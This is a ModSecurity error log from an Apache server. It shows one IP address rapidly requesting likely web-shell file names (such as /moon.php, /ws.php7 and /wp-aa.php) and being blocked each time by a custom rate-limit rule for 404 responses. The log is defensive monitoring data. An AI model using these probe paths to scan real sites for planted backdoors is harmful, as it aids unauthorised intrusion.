[Sun Dec 28 19:07:26.912499 2025] [:error] [pid 29388:tid 29403] [client 4.196.149.150:15327] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-rex4.php7"] [unique_id "aVEPbtoLv2L2zI_SpdXS2wAAAUc"]
[Sun Dec 28 19:07:27.022358 2025] [:error] [pid 42293:tid 42341] [client 4.196.149.150:15179] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-rex4.php7"] [unique_id "aVEPb8vc9B-5cwN385LYPQAAAFI"]
[Sun Dec 28 19:07:27.161662 2025] [:error] [pid 29436:tid 29442] [client 4.196.149.150:15326] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aVEPb7chzOOtNL9VPNLdDQAAAYM"]
[Sun Dec 28 19:07:27.229526 2025] [:error] [pid 29436:tid 29439] [client 4.196.149.150:15191] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aVEPb7chzOOtNL9VPNLdDgAAAYA"]
[Sun Dec 28 19:07:27.315784 2025] [:error] [pid 29437:tid 29479] [client 4.196.149.150:15252] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aVEPbxhDotAbVk6pZLe1wwAAAc0"]
[Sun Dec 28 19:07:27.376154 2025] [:error] [pid 29436:tid 29456] [client 4.196.149.150:15323] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/moon.php"] [unique_id "aVEPb7chzOOtNL9VPNLdDwAAAZE"]
[Sun Dec 28 19:07:27.468356 2025] [:error] [pid 29437:tid 29467] [client 4.196.149.150:15353] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aVEPbxhDotAbVk6pZLe1xAAAAcE"]
[Sun Dec 28 19:07:27.558095 2025] [:error] [pid 42293:tid 42333] [client 4.196.149.150:15296] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aVEPb8vc9B-5cwN385LYPwAAAEo"]
[Sun Dec 28 19:07:27.753934 2025] [:error] [pid 29436:tid 29458] [client 4.196.149.150:17705] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aVEPb7chzOOtNL9VPNLdEAAAAZM"]
[Sun Dec 28 19:07:27.822057 2025] [:error] [pid 42378:tid 42383] [client 4.196.149.150:15193] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-info.php"] [unique_id "aVEPbzgtcN-KHAjWrX8OVgAAAMM"]
[Sun Dec 28 19:07:27.895356 2025] [:error] [pid 42293:tid 42329] [client 4.196.149.150:17744] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warm.PhP7"] [unique_id "aVEPb8vc9B-5cwN385LYQQAAAEY"]
[Sun Dec 28 19:07:28.038370 2025] [:error] [pid 29436:tid 29460] [client 4.196.149.150:15284] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warm.PhP7"] [unique_id "aVEPcLchzOOtNL9VPNLdEQAAAZU"]
[Sun Dec 28 19:07:28.262086 2025] [:error] [pid 29436:tid 29459] [client 4.196.149.150:15310] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warm.PhP7"] [unique_id "aVEPcLchzOOtNL9VPNLdEgAAAZQ"]
[Sun Dec 28 19:07:28.510007 2025] [:error] [pid 29436:tid 29444] [client 4.196.149.150:15345] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/warm.PhP7"] [unique_id "aVEPcLchzOOtNL9VPNLdEwAAAYU"]
[Sun Dec 28 19:07:28.600347 2025] [:error] [pid 42293:tid 42346] [client 4.196.149.150:15182] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php7"] [unique_id "aVEPcMvc9B-5cwN385LYQwAAAFc"]
[Sun Dec 28 19:07:28.774616 2025] [:error] [pid 29436:tid 29455] [client 4.196.149.150:15169] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php7"] [unique_id "aVEPcLchzOOtNL9VPNLdFAAAAZA"]
[Sun Dec 28 19:07:28.827370 2025] [:error] [pid 29437:tid 29484] [client 4.196.149.150:15309] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php7"] [unique_id "aVEPcBhDotAbVk6pZLe1xQAAAdI"]
[Sun Dec 28 19:07:28.947609 2025] [:error] [pid 42293:tid 42342] [client 4.196.149.150:15249] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws.php7"] [unique_id "aVEPcMvc9B-5cwN385LYRAAAAFM"]
[Sun Dec 28 19:07:29.126305 2025] [:error] [pid 42293:tid 42343] [client 4.196.149.150:17667] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aVEPccvc9B-5cwN385LYRQAAAFQ"]
[Sun Dec 28 19:07:29.378174 2025] [:error] [pid 42293:tid 42338] [client 4.196.149.150:15332] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aVEPccvc9B-5cwN385LYRgAAAE8"]
[Sun Dec 28 19:07:29.609360 2025] [:error] [pid 29436:tid 29448] [client 4.196.149.150:15240] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aVEPcbchzOOtNL9VPNLdGAAAAYk"]
[Sun Dec 28 19:07:30.170318 2025] [:error] [pid 29436:tid 29445] [client 4.196.149.150:15349] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rss.php"] [unique_id "aVEPcrchzOOtNL9VPNLdGQAAAYY"]
[Sun Dec 28 19:07:30.540671 2025] [:error] [pid 43789:tid 43810] [client 4.196.149.150:15315] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pekok.php"] [unique_id "aVEPcga-tUppni4CcCYnOgAAARM"]
[Sun Dec 28 19:07:30.602176 2025] [:error] [pid 29436:tid 29449] [client 4.196.149.150:15251] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pekok.php"] [unique_id "aVEPcrchzOOtNL9VPNLdGgAAAYo"]
[Sun Dec 28 19:07:30.701251 2025] [:error] [pid 42293:tid 42330] [client 4.196.149.150:15231] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pekok.php"] [unique_id "aVEPcsvc9B-5cwN385LYSAAAAEc"]
[Sun Dec 28 19:07:30.786485 2025] [:error] [pid 42293:tid 42335] [client 4.196.149.150:15291] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pekok.php"] [unique_id "aVEPcsvc9B-5cwN385LYSQAAAEw"]
[Sun Dec 28 19:07:30.889137 2025] [:error] [pid 29436:tid 29447] [client 4.196.149.150:15329] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aVEPcrchzOOtNL9VPNLdHQAAAYg"]
[Sun Dec 28 19:07:31.040168 2025] [:error] [pid 29388:tid 29398] [client 4.196.149.150:15234] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aVEPc9oLv2L2zI_SpdXS3AAAAUI"]
[Sun Dec 28 19:07:31.134089 2025] [:error] [pid 43789:tid 43800] [client 4.196.149.150:15346] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aVEPcwa-tUppni4CcCYnOwAAAQk"]
[Sun Dec 28 19:07:31.224174 2025] [:error] [pid 43789:tid 43791] [client 4.196.149.150:15190] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aVEPcwa-tUppni4CcCYnPAAAAQA"]
[Sun Dec 28 19:07:31.336759 2025] [:error] [pid 29436:tid 29442] [client 4.196.149.150:15236] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aVEPc7chzOOtNL9VPNLdHwAAAYM"]
[Sun Dec 28 19:07:31.378705 2025] [:error] [pid 29436:tid 29439] [client 4.196.149.150:17682] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aVEPc7chzOOtNL9VPNLdIAAAAYA"]
[Sun Dec 28 19:07:31.431158 2025] [:error] [pid 29436:tid 29456] [client 4.196.149.150:17725] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aVEPc7chzOOtNL9VPNLdIgAAAZE"]
[Sun Dec 28 19:07:31.470478 2025] [:error] [pid 42293:tid 42331] [client 4.196.149.150:17787] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-aa.php"] [unique_id "aVEPc8vc9B-5cwN385LYSgAAAEg"]
[Sun Dec 28 19:07:31.593828 2025] [:error] [pid 42378:tid 42392] [client 4.196.149.150:15314] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aVEPczgtcN-KHAjWrX8OWAAAAMw"]
[Sun Dec 28 19:07:31.639732 2025] [:error] [pid 29436:tid 29458] [client 4.196.149.150:15307] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aVEPc7chzOOtNL9VPNLdIwAAAZM"]
[Sun Dec 28 19:07:31.752209 2025] [:error] [pid 42293:tid 42340] [client 4.196.149.150:15238] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aVEPc8vc9B-5cwN385LYTAAAAFE"]
[Sun Dec 28 19:07:31.948935 2025] [:error] [pid 42378:tid 42380] [client 4.196.149.150:15263] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cart.php"] [unique_id "aVEPczgtcN-KHAjWrX8OWQAAAMA"]
[Sun Dec 28 19:07:32.391902 2025] [:error] [pid 43789:tid 43796] [client 4.196.149.150:15308] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aVEPdAa-tUppni4CcCYnQAAAAQU"]
[Sun Dec 28 19:07:32.516496 2025] [:error] [pid 43789:tid 43815] [client 4.196.149.150:15119] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aVEPdAa-tUppni4CcCYnQQAAARg"]
[Sun Dec 28 19:07:32.569524 2025] [:error] [pid 29436:tid 29448] [client 4.196.149.150:15338] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aVEPdLchzOOtNL9VPNLdJQAAAYk"]
[Sun Dec 28 19:07:32.668609 2025] [:error] [pid 43789:tid 43813] [client 4.196.149.150:15235] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/compare.php"] [unique_id "aVEPdAa-tUppni4CcCYnQwAAARY"]
[Sun Dec 28 19:07:32.779597 2025] [:error] [pid 42293:tid 42339] [client 4.196.149.150:15276] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aVEPdMvc9B-5cwN385LYTwAAAFA"]
[Sun Dec 28 19:07:32.809993 2025] [:error] [pid 42378:tid 42401] [client 4.196.149.150:17701] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aVEPdDgtcN-KHAjWrX8OWwAAANU"]
[Sun Dec 28 19:07:32.855451 2025] [:error] [pid 42293:tid 42329] [client 4.196.149.150:15303] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aVEPdMvc9B-5cwN385LYUAAAAEY"]
[Sun Dec 28 19:07:32.917277 2025] [:error] [pid 43789:tid 43811] [client 4.196.149.150:15273] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop.php"] [unique_id "aVEPdAa-tUppni4CcCYnRAAAARQ"]
[Sun Dec 28 19:07:32.951351 2025] [:error] [pid 42378:tid 42403] [client 4.196.149.150:15218] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVEPdDgtcN-KHAjWrX8OXAAAANc"]
[Sun Dec 28 19:07:33.075546 2025] [:error] [pid 42293:tid 42344] [client 4.196.149.150:15170] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVEPdcvc9B-5cwN385LYUQAAAFU"]
[Sun Dec 28 19:07:33.426708 2025] [:error] [pid 42293:tid 42324] [client 4.196.149.150:15243] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVEPdcvc9B-5cwN385LYUwAAAEE"]
[Sun Dec 28 19:07:33.515304 2025] [:error] [pid 42293:tid 42323] [client 4.196.149.150:15295] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aVEPdcvc9B-5cwN385LYVAAAAEA"]
[Sun Dec 28 19:07:33.568109 2025] [:error] [pid 29437:tid 29466] [client 4.196.149.150:15248] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aVEPdRhDotAbVk6pZLe1xgAAAcA"]
[Sun Dec 28 19:07:33.656713 2025] [:error] [pid 42292:tid 42320] [client 4.196.149.150:15201] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aVEPdZyOrM_vaFx1osY_cAAAABg"]
[Sun Dec 28 19:07:33.726726 2025] [:error] [pid 29437:tid 29486] [client 4.196.149.150:15293] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aVEPdRhDotAbVk6pZLe1xwAAAdQ"]
[Sun Dec 28 19:07:33.835718 2025] [:error] [pid 42378:tid 42404] [client 4.196.149.150:15319] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aVEPdTgtcN-KHAjWrX8OXgAAANg"]
[Sun Dec 28 19:07:33.924642 2025] [:error] [pid 42292:tid 42305] [client 4.196.149.150:15299] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aVEPdZyOrM_vaFx1osY_cQAAAAk"]
[Sun Dec 28 19:07:34.010883 2025] [:error] [pid 29437:tid 29474] [client 4.196.149.150:15199] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atom.php"] [unique_id "aVEPdhhDotAbVk6pZLe1yAAAAcg"]
